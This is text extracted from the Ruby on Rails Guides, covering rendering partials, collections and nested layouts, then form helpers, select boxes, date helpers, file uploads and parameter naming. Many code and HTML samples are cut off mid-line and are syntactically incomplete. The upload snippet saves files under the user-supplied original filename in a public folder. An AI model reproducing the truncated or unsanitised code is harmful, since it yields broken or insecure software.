This way it is possible to use the partial without the need to declare all
local variables.
Every partial also has a local variable with the same name as the partial
(minus the underscore). You can pass an object in to this local variable via
the :object option:
<%= render partial: "customer", object: @new_customer %>

Within the customer partial, the customer variable will refer to

@new_customer from the parent view.

If you have an instance of a model to render into a partial, you can use a
shorthand syntax:
<%= render @customer %>

Assuming that the @customer instance variable contains an instance of the

Customer model, this will use _customer.html.erb to render it and will
pass the local variable customer into the partial which will refer to the
@customer instance variable in the parent view.
3.4.5 Rendering Collections

Partials are very useful in rendering collections. When you pass a

collection to a partial via the :collection option, the partial will be
inserted once for each member in the collection:
index.html.erb
<h1>Products</h1>
<%= render partial: "product", collection: @products %>

_product.html.erb
<p>Product Name: <%= product.name %></p>

When a partial is called with a pluralized collection, then the individual

instances of the partial have access to the member of the collection being
rendered via a variable named after the partial. In this case, the partial is
_product, and within the _product partial, you can refer to product to get
the instance that is being rendered.
There is also a shorthand for this. Assuming @products is a collection of
product instances, you can simply write this in the index.html.erb to
produce the same result:

<h1>Products</h1>
<%= render @products %>

Rails determines the name of the partial to use by looking at the model
name in the collection. In fact, you can even create a heterogeneous
collection and render it this way, and Rails will choose the proper partial
for each member of the collection:
index.html.erb
<h1>Contacts</h1>
<%= render [customer1, employee1, customer2, employee2] %>

customers/_customer.html.erb
<p>Customer: <%= customer.name %></p>

employees/_employee.html.erb
<p>Employee: <%= employee.name %></p>

In this case, Rails will use the customer or employee partials as

appropriate for each member of the collection.
In the event that the collection is empty, render will return nil, so it should
be fairly simple to provide alternative content.
<h1>Products</h1>
<%= render(@products) || "There are no products available." %>
3.4.6 Local Variables

To use a custom local variable name within the partial, specify the :as
option in the call to the partial:

<%= render partial: "product", collection: @products, as: :item

With this change, you can access an instance of the @products collection
as the item local variable within the partial.
You can also pass in arbitrary local variables to any partial you are
rendering with the locals: {} option:
<%= render partial: "product", collection: @products,
as: :item, locals: {title: "Products Page"} %>

In this case, the partial will have access to a local variable title with the
value "Products Page".
Rails also makes a counter variable available within a partial called by the
collection, named after the member of the collection followed by
_counter. For example, if you're rendering @products, within the partial
you can refer to product_counter to tell you how many times the partial
has been rendered. This does not work in conjunction with the as: :value
option.
You can also specify a second partial to be rendered between instances of
the main partial by using the :spacer_template option:
3.4.7 Spacer Templates

<%= render partial: @products, spacer_template: "product_ruler"

Rails will render the _product_ruler partial (with no data passed in to it)
between each pair of _product partials.
3.4.8 Collection Partial Layouts

When rendering collections it is also possible to use the :layout option:

<%= render partial: "product", collection: @products, layout: "s

The layout will be rendered together with the partial for each item in the
collection. The current object and object_counter variables will be
available in the layout as well, the same way they do within the partial.
3.5 Using Nested Layouts
You may find that your application requires a layout that differs slightly
from your regular application layout to support one particular controller.
Rather than repeating the main layout and editing it, you can accomplish
this by using nested layouts (sometimes called sub-templates). Here's an
example:
Suppose you have the following ApplicationController layout:
app/views/layouts/application.html.erb

<html>
<head>
<title><%= @page_title or "Page Title" %></title>
<%= stylesheet_link_tag "layout" %>
<style><%= yield :stylesheets %></style>
</head>
<body>
<div id="top_menu">Top menu items here</div>
<div id="menu">Menu items here</div>
<div id="content"><%= content_for?(:content) ? yield(:cont
</body>
</html>

On pages generated by NewsController, you want to hide the top menu

and add a right menu:
app/views/layouts/news.html.erb

<% content_for :stylesheets do %>

#top_menu {display: none}
#right_menu {float: right; background-color: yellow; color
<% end %>
<% content_for :content do %>
<div id="right_menu">Right menu items here</div>
<%= content_for?(:news_content) ? yield(:news_content) : y
<% end %>
<%= render template: "layouts/application" %>

That's it. The News views will use the new layout, hiding the top menu
and adding a new right menu inside the "content" div.
There are several ways of getting similar results with different subtemplating schemes using this technique. Note that there is no limit in
nesting levels. One can use the ActionView::render method via render
template: 'layouts/news' to base a new layout on the News layout. If
you are sure you will not subtemplate the News layout, you can replace the
content_for?(:news_content) ? yield(:news_content) : yield with
simply yield.

Form Helpers Ruby on Rails

Guides

1 Dealing with Basic Forms

The most basic form helper is form_tag.
<%= form_tag do %>
Form contents
<% end %>

When called without arguments like this, it creates a <form> tag which,
when submitted, will POST to the current page. For instance, assuming the
current page is /home/index, the generated HTML will look like this
(some line breaks added for readability):

<form accept-charset="UTF-8" action="/" method="post">

You'll notice that the HTML contains an input element with type hidden.
This input is important, because the form cannot be successfully
submitted without it. The hidden input element with the name utf8
enforces browsers to properly respect your form's character encoding and
is generated for all forms whether their action is "GET" or "POST".
The second input element with the name authenticity_token is a
security feature of Rails called cross-site request forgery protection, and
form helpers generate it for every non-GET form (provided that this
security feature is enabled). You can read more about this in the Security
Guide.
1.1 A Generic Search Form
One of the most basic forms you see on the web is a search form. This

form contains:
a form element with "GET" method,
a label for the input,
a text input element, and
a submit element.
To create this form you will use form_tag, label_tag, text_field_tag,
and submit_tag, respectively. Like this:
<%= form_tag("/search", method: "get") do %>
<%= label_tag(:q, "Search for:") %>
<%= text_field_tag(:q) %>
<%= submit_tag("Search") %>
<% end %>

This will generate the following HTML:

<form accept-charset="UTF-8" action="/search" method="get">
<input name="utf8" type="hidden" value="✓" />
<label for="q">Search for:</label>
<input id="q" name="q" type="text" />
<input name="commit" type="submit" value="Search" />
</form>

For every form input, an ID attribute is generated from its name ("q" in
above example). These IDs can be very useful for CSS styling or
manipulation of form controls with JavaScript.
Besides text_field_tag and submit_tag, there is a similar helper for
every form control in HTML.
Always use "GET" as the method for search forms. This allows users to
bookmark a specific search and get back to it. More generally Rails
encourages you to use the right HTTP verb for an action.

1.2 Multiple Hashes in Form Helper Calls

The form_tag helper accepts 2 arguments: the path for the action and an
options hash. This hash specifies the method of form submission and
HTML options such as the form element's class.
As with the link_to helper, the path argument doesn't have to be a string;
it can be a hash of URL parameters recognizable by Rails' routing
mechanism, which will turn the hash into a valid URL. However, since
both arguments to form_tag are hashes, you can easily run into a problem
if you would like to specify both. For instance, let's say you write this:

form_tag(controller: "people", action: "search", method: "get",

# => '<form accept-charset="UTF-8" action="/people/search?method

Here, method and class are appended to the query string of the generated
URL because even though you mean to write two hashes, you really only
specified one. So you need to tell Ruby which is which by delimiting the
first hash (or both) with curly brackets. This will generate the HTML you
expect:

form_tag({controller: "people", action: "search"}, method: "get"

# => '<form accept-charset="UTF-8" action="/people/search" metho

1.3 Helpers for Generating Form Elements

Rails provides a series of helpers for generating form elements such as
checkboxes, text fields, and radio buttons. These basic helpers, with names
ending in _tag (such as text_field_tag and check_box_tag), generate
just a single <input> element. The first parameter to these is always the
name of the input. When the form is submitted, the name will be passed
along with the form data, and will make its way to the params in the
controller with the value entered by the user for that field. For example, if

the form contains <%= text_field_tag(:query) %>, then you would be

able to get the value of this field in the controller with params[:query].
When naming inputs, Rails uses certain conventions that make it possible
to submit parameters with non-scalar values such as arrays or hashes,
which will also be accessible in params. You can read more about them in
chapter 7 of this guide. For details on the precise usage of these helpers,
please refer to the API documentation.
1.3.1 Checkboxes

Checkboxes are form controls that give the user a set of options they can
enable or disable:
<%= check_box_tag(:pet_dog) %>
<%= label_tag(:pet_dog, "I own a dog") %>
<%= check_box_tag(:pet_cat) %>
<%= label_tag(:pet_cat, "I own a cat") %>

This generates the following:

The first parameter to check_box_tag, of course, is the name of the input.

The second parameter, naturally, is the value of the input. This value will
be included in the form data (and be present in params) when the checkbox
is checked.
1.3.2 Radio Buttons

Radio buttons, while similar to checkboxes, are controls that specify a set
of options in which they are mutually exclusive (i.e., the user can only pick

one):
<%= radio_button_tag(:age, "child") %>
<%= label_tag(:age_child, "I am younger than 21") %>
<%= radio_button_tag(:age, "adult") %>
<%= label_tag(:age_adult, "I'm over 21") %>

Output:
<input id="age_child" name="age" type="radio" value="child" />
<label for="age_child">I am younger than 21</label>
<input id="age_adult" name="age" type="radio" value="adult" />
<label for="age_adult">I'm over 21</label>

As with check_box_tag, the second parameter to radio_button_tag is the

value of the input. Because these two radio buttons share the same name
(age), the user will only be able to select one of them, and params[:age]
will contain either "child" or "adult".
Always use labels for checkbox and radio buttons. They associate text with
a specific option and, by expanding the clickable region, make it easier for
users to click the inputs.
1.4 Other Helpers of Interest
Other form controls worth mentioning are textareas, password fields,
hidden fields, search fields, telephone fields, date fields, time fields, color
fields, datetime fields, datetime-local fields, month fields, week fields,
URL fields, email fields, number fields and range fields:
<%= text_area_tag(:message, "Hi, nice site", size: "24x6") %>
<%= password_field_tag(:password) %>
<%= hidden_field_tag(:parent_id, "5") %>
<%= search_field(:user, :name) %>
<%= telephone_field(:user, :phone) %>
<%= date_field(:user, :born_on) %>

<%= datetime_local_field(:user, :graduation_day) %>

<%= month_field(:user, :birthday_month) %>
<%= week_field(:user, :birthday_week) %>
<%= url_field(:user, :homepage) %>
<%= email_field(:user, :address) %>
<%= color_field(:user, :favorite_color) %>
<%= time_field(:task, :started_at) %>
<%= number_field(:product, :price, in: 1.0..20.0, step: 0.5) %>
<%= range_field(:product, :discount, in: 1..100) %>

Output:

<textarea id="message" name="message" cols="24" rows="6">Hi, nic

<input id="password" name="password" type="password" />
<input id="parent_id" name="parent_id" type="hidden" value="5" /
<input id="user_name" name="user[name]" type="search" />
<input id="user_phone" name="user[phone]" type="tel" />
<input id="user_born_on" name="user[born_on]" type="date" />
<input id="user_graduation_day" name="user[graduation_day]" type
<input id="user_birthday_month" name="user[birthday_month]" type
<input id="user_birthday_week" name="user[birthday_week]" type="
<input id="user_homepage" name="user[homepage]" type="url" />
<input id="user_address" name="user[address]" type="email" />
<input id="user_favorite_color" name="user[favorite_color]" type
<input id="task_started_at" name="task[started_at]" type="time"
<input id="product_price" max="20.0" min="1.0" name="product[pri
<input id="product_discount" max="100" min="1" name="product[dis

Hidden inputs are not shown to the user but instead hold data like any
textual input. Values inside them can be changed with JavaScript.
The search, telephone, date, time, color, datetime, datetime-local, month,
week, URL, email, number and range inputs are HTML5 controls. If you
require your app to have a consistent experience in older browsers, you
will need an HTML5 polyfill (provided by CSS and/or JavaScript). There
is definitely no shortage of solutions for this, although a popular tool at the
moment is Modernizr, which provides a simple way to add functionality
based on the presence of detected HTML5 features.

If you're using password input fields (for any purpose), you might want to
configure your application to prevent those parameters from being logged.
You can learn about this in the Security Guide.

2 Dealing with Model Objects

2.1 Model Object Helpers
A particularly common task for a form is editing or creating a model
object. While the *_tag helpers can certainly be used for this task they are
somewhat verbose as for each tag you would have to ensure the correct
parameter name is used and set the default value of the input appropriately.
Rails provides helpers tailored to this task. These helpers lack the _tag
suffix, for example text_field, text_area.
For these helpers the first argument is the name of an instance variable and
the second is the name of a method (usually an attribute) to call on that
object. Rails will set the value of the input control to the return value of
that method for the object and set an appropriate input name. If your
controller has defined @person and that person's name is Henry then a
form containing:
<%= text_field(:person, :name) %>

will produce output similar to

<input id="person_name" name="person[name]" type="text" value="H

Upon form submission the value entered by the user will be stored in
params[:person][:name]. The params[:person] hash is suitable for
passing to Person.new or, if @person is an instance of Person,
@person.update. While the name of an attribute is the most common
second parameter to these helpers this is not compulsory. In the example
above, as long as person objects have a name and a name= method Rails
will be happy.
You must pass the name of an instance variable, i.e. :person or "person",

not an actual instance of your model object.

Rails provides helpers for displaying the validation errors associated with a
model object. These are covered in detail by the Active Record Validations
guide.
2.2 Binding a Form to an Object
While this is an increase in comfort it is far from perfect. If Person has
many attributes to edit then we would be repeating the name of the edited
object many times. What we want to do is somehow bind a form to a
model object, which is exactly what form_for does.
Assume we have a controller for dealing with articles
app/controllers/articles_controller.rb:
def new
@article = Article.new
end

The corresponding view app/views/articles/new.html.erb using

form_for looks like this:

<%= form_for @article, url: {action: "create"}, html: {class: "n

<%= f.text_field :title %>
<%= f.text_area :body, size: "60x12" %>
<%= f.submit "Create" %>
<% end %>

There are a few things to note here:

@article is the actual object being edited.

There is a single hash of options. Routing options are passed in the

:url hash, HTML options are passed in the :html hash. Also you can
provide a :namespace option for your form to ensure uniqueness of id

attributes on form elements. The namespace attribute will be prefixed

with underscore on the generated HTML id.
The form_for method yields a form builder object (the f variable).
Methods to create form controls are called on the form builder object
f.
The resulting HTML is:

<form accept-charset="UTF-8" action="/articles" method="post" cl

The name passed to form_for controls the key used in params to access
the form's values. Here the name is article and so all the inputs have
names of the form article[attribute_name]. Accordingly, in the create
action params[:article] will be a hash with keys :title and :body. You
can read more about the significance of input names in the
parameter_names section.
The helper methods called on the form builder are identical to the model
object helpers except that it is not necessary to specify which object is
being edited since this is already managed by the form builder.
You can create a similar binding without actually creating <form> tags
with the fields_for helper. This is useful for editing additional model
objects with the same form. For example, if you had a Person model with
an associated ContactDetail model, you could create a form for creating
both like so:

<%= form_for @person, url: {action: "create"} do |person_form| %

<%= person_form.text_field :name %>
<%= fields_for @person.contact_detail do |contact_detail_form|
<%= contact_detail_form.text_field :phone_number %>
<% end %>

<% end %>

which produces the following output:

<form accept-charset="UTF-8" action="/people" class="new_person"

The object yielded by fields_for is a form builder like the one yielded by
form_for (in fact form_for calls fields_for internally).
2.3 Relying on Record Identification
The Article model is directly available to users of the application, so following the best practices for developing with Rails - you should declare
it a resource:
resources :articles

Declaring a resource has a number of side effects. See Rails Routing From
the Outside In for more information on setting up and using resources.
When dealing with RESTful resources, calls to form_for can get
significantly easier if you rely on record identification. In short, you can
just pass the model instance and have Rails figure out model name and the
rest:
## Creating a new article
# long-style:
form_for(@article, url: articles_path)
# same thing, short-style (record identification gets used):
form_for(@article)
## Editing an existing article

# long-style:
form_for(@article, url: article_path(@article), html: {method: "
# short-style:
form_for(@article)

Notice how the short-style form_for invocation is conveniently the same,

regardless of the record being new or existing. Record identification is
smart enough to figure out if the record is new by asking
record.new_record?. It also selects the correct path to submit to and the
name based on the class of the object.
Rails will also automatically set the class and id of the form
appropriately: a form creating an article would have id and class
new_article. If you were editing the article with id 23, the class would
be set to edit_article and the id to edit_article_23. These attributes
will be omitted for brevity in the rest of this guide.
When you're using STI (single-table inheritance) with your models, you
can't rely on record identification on a subclass if only their parent class is
declared a resource. You will have to specify the model name, :url, and
:method explicitly.
2.3.1 Dealing with Namespaces

If you have created namespaced routes, form_for has a nifty shorthand for
that too. If your application has an admin namespace then
form_for [:admin, @article]

will create a form that submits to the ArticlesController inside the

admin namespace (submitting to admin_article_path(@article) in the
case of an update). If you have several levels of namespacing then the
syntax is similar:

form_for [:admin, :management, @article]

For more information on Rails' routing system and the associated

conventions, please see the routing guide.
2.4 How do forms with PATCH, PUT, or DELETE methods work?
The Rails framework encourages RESTful design of your applications,
which means you'll be making a lot of "PATCH" and "DELETE" requests
(besides "GET" and "POST"). However, most browsers don't support
methods other than "GET" and "POST" when it comes to submitting
forms.
Rails works around this issue by emulating other methods over POST with
a hidden input named "_method", which is set to reflect the desired
method:
form_tag(search_path, method: "patch")

output:

<form accept-charset="UTF-8" action="/search" method="post">

When parsing POSTed data, Rails will take into account the special
_method parameter and act as if the HTTP method was the one specified
inside it ("PATCH" in this example).

3 Making Select Boxes with Ease

Select boxes in HTML require a significant amount of markup (one
OPTION element for each option to choose from), therefore it makes the
most sense for them to be dynamically generated.
Here is what the markup might look like:
<select name="city_id" id="city_id">
<option value="1">Lisbon</option>
<option value="2">Madrid</option>
...
<option value="12">Berlin</option>
</select>

Here you have a list of cities whose names are presented to the user.
Internally the application only wants to handle their IDs so they are used
as the options' value attribute. Let's see how Rails can help out here.
3.1 The Select and Option Tags
The most generic helper is select_tag, which - as the name implies simply generates the SELECT tag that encapsulates an options string:

<%= select_tag(:city_id, '<option value="1">Lisbon</option>...')

This is a start, but it doesn't dynamically create the option tags. You can
generate option tags with the options_for_select helper:
<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...]) %>
output:
<option value="1">Lisbon</option>
<option value="2">Madrid</option>
...

The first argument to options_for_select is a nested array where each

element has two elements: option text (city name) and option value (city
id). The option value is what will be submitted to your controller. Often
this will be the id of a corresponding database object but this does not have
to be the case.
Knowing this, you can combine select_tag and options_for_select to
achieve the desired, complete markup:
<%= select_tag(:city_id, options_for_select(...)) %>

options_for_select allows you to pre-select an option by passing its

value.

<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...], 2) %

output:
<option value="1">Lisbon</option>
<option value="2" selected="selected">Madrid</option>
...

Whenever Rails sees that the internal value of an option being generated
matches this value, it will add the selected attribute to that option.
The second argument to options_for_select must be exactly equal to the
desired internal value. In particular if the value is the integer 2 you cannot
pass "2" to options_for_select - you must pass 2. Be aware of values
extracted from the params hash as they are all strings.
When :include_blank or :prompt are not present, :include_blank is
forced true if the select attribute required is true, display size is one and
multiple is not true.

You can add arbitrary attributes to the options using hashes:

<%= options_for_select(
[
['Lisbon', 1, { 'data-size' => '2.8 million' }],
['Madrid', 2, { 'data-size' => '3.2 million' }]
], 2
) %>
output:

<option value="1" data-size="2.8 million">Lisbon</option>

<option value="2" selected="selected" data-size="3.2 million">Ma
...

3.2 Select Boxes for Dealing with Models

In most cases form controls will be tied to a specific database model and as
you might expect Rails provides helpers tailored for that purpose.
Consistent with other form helpers, when dealing with models you drop
the _tag suffix from select_tag:
# controller:
@person = Person.new(city_id: 2)

# view:
<%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ...

Notice that the third parameter, the options array, is the same kind of
argument you pass to options_for_select. One advantage here is that
you don't have to worry about pre-selecting the correct city if the user
already has one - Rails will do this for you by reading from the
@person.city_id attribute.
As with other helpers, if you were to use the select helper on a form

builder scoped to the @person object, the syntax would be:

# select on a form builder
<%= f.select(:city_id, ...) %>

You can also pass a block to select helper:

<%= f.select(:city_id) do %>
<% [['Lisbon', 1], ['Madrid', 2]].each do |c| -%>
<%= content_tag(:option, c.first, value: c.last) %>
<% end %>
<% end %>

If you are using select (or similar helpers such as collection_select,

select_tag) to set a belongs_to association you must pass the name of
the foreign key (in the example above city_id), not the name of
association itself. If you specify city instead of city_id Active Record
will raise an error along the lines of
ActiveRecord::AssociationTypeMismatch: City(#17815740)
expected, got String(#1138750) when you pass the params hash to
Person.new or update. Another way of looking at this is that form helpers

only edit attributes. You should also be aware of the potential security
ramifications of allowing users to edit foreign keys directly.
3.3 Option Tags from a Collection of Arbitrary Objects
Generating options tags with options_for_select requires that you create
an array containing the text and value for each option. But what if you had
a City model (perhaps an Active Record one) and you wanted to generate
option tags from a collection of those objects? One solution would be to
make a nested array by iterating over them:

<% cities_array = City.all.map { |city| [city.name, city.id] } %

<%= options_for_select(cities_array) %>

This is a perfectly valid solution, but Rails provides a less verbose

alternative: options_from_collection_for_select. This helper expects a
collection of arbitrary objects and two additional arguments: the names of
the methods to read the option value and text from, respectively:
<%= options_from_collection_for_select(City.all, :id, :name) %>

As the name implies, this only generates option tags. To generate a

working select box you would need to use it in conjunction with
select_tag, just as you would with options_for_select. When working
with model objects, just as select combines select_tag and
options_for_select, collection_select combines select_tag with
options_from_collection_for_select.

<%= collection_select(:person, :city_id, City.all, :id, :name) %

As with other helpers, if you were to use the collection_select helper

on a form builder scoped to the @person object, the syntax would be:
<%= f.collection_select(:city_id, City.all, :id, :name) %>

To recap, options_from_collection_for_select is to
collection_select what options_for_select is to select.
Pairs passed to options_for_select should have the name first and the id
second, however with options_from_collection_for_select the first
argument is the value method and the second the text method.
3.4 Time Zone and Country Select
To leverage time zone support in Rails, you have to ask your users what
time zone they are in. Doing so would require generating select options
from a list of pre-defined TimeZone objects using collection_select,

but you can simply use the time_zone_select helper that already wraps
this:
<%= time_zone_select(:person, :time_zone) %>

There is also time_zone_options_for_select helper for a more manual

(therefore more customizable) way of doing this. Read the API
documentation to learn about the possible arguments for these two
methods.
Rails used to have a country_select helper for choosing countries, but
this has been extracted to the country_select plugin. When using this, be
aware that the exclusion or inclusion of certain names from the list can be
somewhat controversial (and was the reason this functionality was
extracted from Rails).

4 Using Date and Time Form Helpers

You can choose not to use the form helpers generating HTML5 date and
time input fields and use the alternative date and time helpers. These date
and time helpers differ from all the other form helpers in two important
respects:
Dates and times are not representable by a single input element.
Instead you have several, one for each component (year, month, day
etc.) and so there is no single value in your params hash with your
date or time.
Other helpers use the _tag suffix to indicate whether a helper is a
barebones helper or one that operates on model objects. With dates
and times, select_date, select_time and select_datetime are the
barebones helpers, date_select, time_select and datetime_select
are the equivalent model object helpers.
Both of these families of helpers will create a series of select boxes for the
different components (year, month, day etc.).
4.1 Barebones Helpers
The select_* family of helpers take as their first argument an instance of
Date, Time or DateTime that is used as the currently selected value. You
may omit this parameter, in which case the current date is used. For
example:
<%= select_date Date.today, prefix: :start_date %>

outputs (with actual option values omitted for brevity)

<select id="start_date_year" name="start_date[year]"> ... </sele

<select id="start_date_month" name="start_date[month]"> ... </se
<select id="start_date_day" name="start_date[day]"> ... </select

The above inputs would result in params[:start_date] being a hash with

keys :year, :month, :day. To get an actual Date, Time or DateTime object
you would have to extract these values and pass them to the appropriate
constructor, for example:

Date.civil(params[:start_date][:year].to_i, params[:start_date][

The :prefix option is the key used to retrieve the hash of date components
from the params hash. Here it was set to start_date, if omitted it will
default to date.
4.2 Model Object Helpers
select_date does not work well with forms that update or create Active
Record objects as Active Record expects each element of the params hash

to correspond to one attribute. The model object helpers for dates and
times submit parameters with special names; when Active Record sees
parameters with such names it knows they must be combined with the
other parameters and given to a constructor appropriate to the column type.
For example:
<%= date_select :person, :birth_date %>

outputs (with actual option values omitted for brevity)

<select id="person_birth_date_1i" name="person[birth_date(1i)]">

which results in a params hash like

{'person' => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '1

When this is passed to Person.new (or update), Active Record spots that
these parameters should all be used to construct the birth_date attribute
and uses the suffixed information to determine in which order it should
pass these parameters to functions such as Date.civil.
4.3 Common Options
Both families of helpers use the same core set of functions to generate the
individual select tags and so both accept largely the same options. In
particular, by default Rails will generate year options 5 years either side of
the current year. If this is not an appropriate range, the :start_year and
:end_year options override this. For an exhaustive list of the available
options, refer to the API documentation.
As a rule of thumb you should be using date_select when working with
model objects and select_date in other cases, such as a search form
which filters results by date.
In many cases the built-in date pickers are clumsy as they do not aid the
user in working out the relationship between the date and the day of the
week.
4.4 Individual Components
Occasionally you need to display just a single date component such as a
year or a month. Rails provides a series of helpers for this, one for each
component select_year, select_month, select_day, select_hour,
select_minute, select_second. These helpers are fairly straightforward.
By default they will generate an input field named after the time
component (for example, "year" for select_year, "month" for
select_month etc.) although this can be overridden with the :field_name
option. The :prefix option works in the same way that it does for

select_date and select_time and has the same default value.

The first parameter specifies which value should be selected and can either
be an instance of a Date, Time or DateTime, in which case the relevant
component will be extracted, or a numerical value. For example:
<%= select_year(2009) %>
<%= select_year(Time.now) %>

will produce the same output if the current year is 2009 and the value
chosen by the user can be retrieved by params[:date][:year].

5 Uploading Files
A common task is uploading some sort of file, whether it's a picture of a
person or a CSV file containing data to process. The most important thing
to remember with file uploads is that the rendered form's encoding MUST
be set to "multipart/form-data". If you use form_for, this is done
automatically. If you use form_tag, you must set it yourself, as per the
following example.
The following two forms both upload a file.
<%= form_tag({action: :upload}, multipart: true) do %>
<%= file_field_tag 'picture' %>
<% end %>
<%= form_for @person do |f| %>
<%= f.file_field :picture %>
<% end %>

Rails provides the usual pair of helpers: the barebones file_field_tag

and the model oriented file_field. The only difference with other helpers
is that you cannot set a default value for file inputs as this would have no
meaning. As you would expect in the first case the uploaded file is in
params[:picture] and in the second case in params[:person]
[:picture].
5.1 What Gets Uploaded
The object in the params hash is an instance of a subclass of IO.
Depending on the size of the uploaded file it may in fact be a StringIO or
an instance of File backed by a temporary file. In both cases the object
will have an original_filename attribute containing the name the file had
on the user's computer and a content_type attribute containing the MIME
type of the uploaded file. The following snippet saves the uploaded content

in #{Rails.root}/public/uploads under the same name as the original

file (assuming the form was the one in the previous example).

def upload
uploaded_io = params[:person][:picture]
File.open(Rails.root.join('public', 'uploads', uploaded_io.ori
file.write(uploaded_io.read)
end
end

Once a file has been uploaded, there are a multitude of potential tasks,
ranging from where to store the files (on disk, Amazon S3, etc) and
associating them with models to resizing image files and generating
thumbnails. The intricacies of this are beyond the scope of this guide, but
there are several libraries designed to assist with these. Two of the better
known ones are CarrierWave and Paperclip.
If the user has not selected a file the corresponding parameter will be an
empty string.
5.2 Dealing with Ajax
Unlike other forms, making an asynchronous file upload form is not as
simple as providing form_for with remote: true. With an Ajax form the
serialization is done by JavaScript running inside the browser and since
JavaScript cannot read files from your hard drive the file cannot be
uploaded. The most common workaround is to use an invisible iframe that
serves as the target for the form submission.

6 Customizing Form Builders

As mentioned previously the object yielded by form_for and fields_for
is an instance of FormBuilder (or a subclass thereof). Form builders
encapsulate the notion of displaying form elements for a single object.
While you can of course write helpers for your forms in the usual way, you
can also subclass FormBuilder and add the helpers there. For example:
<%= form_for @person do |f| %>
<%= text_field_with_label f, :first_name %>
<% end %>

can be replaced with

<%= form_for @person, builder: LabellingFormBuilder do |f| %>
<%= f.text_field :first_name %>
<% end %>

by defining a LabellingFormBuilder class similar to the following:

class LabellingFormBuilder < ActionView::Helpers::FormBuilder
def text_field(attribute, options={})
label(attribute) + super
end
end

If you reuse this frequently you could define a labeled_form_for helper

that automatically applies the builder: LabellingFormBuilder option:
def labeled_form_for(record, options = {}, &block)
options.merge! builder: LabellingFormBuilder
form_for record, options, &block
end

The form builder used also determines what happens when you do

<%= render partial: f %>

If f is an instance of FormBuilder then this will render the form partial,

setting the partial's object to the form builder. If the form builder is of class
LabellingFormBuilder then the labelling_form partial would be
rendered instead.

7 Understanding Parameter Naming Conventions

As you've seen in the previous sections, values from forms can be at the
top level of the params hash or nested in another hash. For example, in a
standard create action for a Person model, params[:person] would
usually be a hash of all the attributes for the person to create. The params
hash can also contain arrays, arrays of hashes and so on.
Fundamentally HTML forms don't know about any sort of structured data,
all they generate is name-value pairs, where pairs are just plain strings.
The arrays and hashes you see in your application are the result of some
parameter naming conventions that Rails uses.
7.1 Basic Structures
The two basic structures are arrays and hashes. Hashes mirror the syntax
used for accessing the value in params. For example, if a form contains:

<input id="person_name" name="person[name]" type="text" value="H

the params hash will contain

{'person' => {'name' => 'Henry'}}

and params[:person][:name] will retrieve the submitted value in the

controller.
Hashes can be nested as many levels as required, for example:

<input id="person_address_city" name="person[address][city]" typ

will result in the params hash being

{'person' => {'address' => {'city' => 'New York'}}}

Normally Rails ignores duplicate parameter names. If the parameter name

contains an empty set of square brackets [] then they will be accumulated
in an array. If you wanted users to be able to input multiple phone
numbers, you could place this in the form:
<input name="person[phone_number][]" type="text"/>
<input name="person[phone_number][]" type="text"/>
<input name="person[phone_number][]" type="text"/>

This would result in params[:person][:phone_number] being an array

containing the inputted phone numbers.
7.2 Combining Them
We can mix and match these two concepts. One element of a hash might
be an array as in the previous example, or you can have an array of hashes.
For example, a form might let you create any number of addresses by
repeating the following form fragment
<input name="addresses[][line1]" type="text"/>
<input name="addresses[][line2]" type="text"/>
<input name="addresses[][city]" type="text"/>

This would result in params[:addresses] being an array of hashes with

keys line1, line2 and city. Rails decides to start accumulating values in
a new hash whenever it encounters an input name that already exists in the
current hash.
There's a restriction, however, while hashes can be nested arbitrarily, only
one level of "arrayness" is allowed. Arrays can usually be replaced by
hashes; for example, instead of having an array of model objects, one can

have a hash of model objects keyed by their id, an array index or some
other parameter.
Array parameters do not play well with the check_box helper. According
to the HTML specification unchecked checkboxes submit no value.
However it is often convenient for a checkbox to always submit a value.
The check_box helper fakes this by creating an auxiliary hidden input with
the same name. If the checkbox is unchecked only the hidden input is
submitted and if it is checked then both are submitted but the value
submitted by the checkbox takes precedence. When working with array
parameters this duplicate submission will confuse Rails since duplicate
input names are how it decides when to start a new array element. It is
preferable to either use check_box_tag or to use hashes instead of arrays.
7.3 Using Form Helpers
The previous sections did not use the Rails form helpers at all. While you
can craft the input names yourself and pass them directly to helpers such
as text_field_tag Rails also provides higher level support. The two tools
at your disposal here are the name parameter to form_for and fields_for
and the :index option that helpers take.
You might want to render a form with a set of edit fields for each of a
person's addresses. For example:

<%= form_for @person do |person_form| %>

<%= person_form.text_field :name %>
<% @person.addresses.each do |address| %>
<%= person_form.fields_for address, index: address.id do |ad
<%= address_form.text_field :city %>
<% end %>
<% end %>
<% end %>

Assuming the person had two addresses, with ids 23 and 45 this would

create output similar to this:

<form accept-charset="UTF-8" action="/people/1" class="edit_pers

This will result in a params hash that looks like

{'person' => {'name' => 'Bob', 'address' => {'23' => {'city' =>

Rails knows that all these inputs should be part of the person hash because
you called fields_for on the first form builder. By specifying an :index
option you're telling Rails that instead of naming the inputs
person[address][city] it should insert that index surrounded by []
between the address and the city. This is often useful as it is then easy to
locate which Address record should be modified. You can pass numbers
with some other significance, strings or even nil (which will result in an
array parameter being created).
To create more intricate nestings, you can specify the first part of the input
name (person[address] in the previous example) explicitly:

<%= fields_for 'person[address][primary]', address, index: addre

<%= address_form.text_field :city %>
<% end %>

will create inputs like

<input id="person_address_primary_1_city" name="person[address][

As a general rule the final input name is the concatenation of the name
given to fields_for/form_for, the index value and the name of the

attribute. You can also pass an :index option directly to helpers such as
text_field, but it is usually less repetitive to specify this at the form
builder level rather than on individual input controls.
As a shortcut you can append [] to the name and omit the :index option.
This is the same as specifying index: address so

<%= fields_for 'person[address][primary][]', address do |address

<%= address_form.text_field :city %>
<% end %>

produces exactly the same output as the previous example.

8 Forms to External Resources

Rails' form helpers can also be used to build a form for posting data to an
external resource. However, at times it can be necessary to set an
authenticity_token for the resource; this can be done by passing an
authenticity_token: 'your_external_token' parameter to the
form_tag options:

<%= form_tag 'http://farfar.away/form', authenticity_token: 'ext

Form contents
<% end %>

Sometimes when submitting data to an external resource, like a payment

gateway, the fields that can be used in the form are limited by an external
API and it may be undesirable to generate an authenticity_token. To not
send a token, simply pass false to the :authenticity_token option:

<%= form_tag 'http://farfar.away/form', authenticity_token: fals

Form contents
<% end %>

The same technique is also available for form_for:

<%= form_for @invoice, url: external_url, authenticity_token: 'e

Form contents
<% end %>

Or if you don't want to render an authenticity_token field:

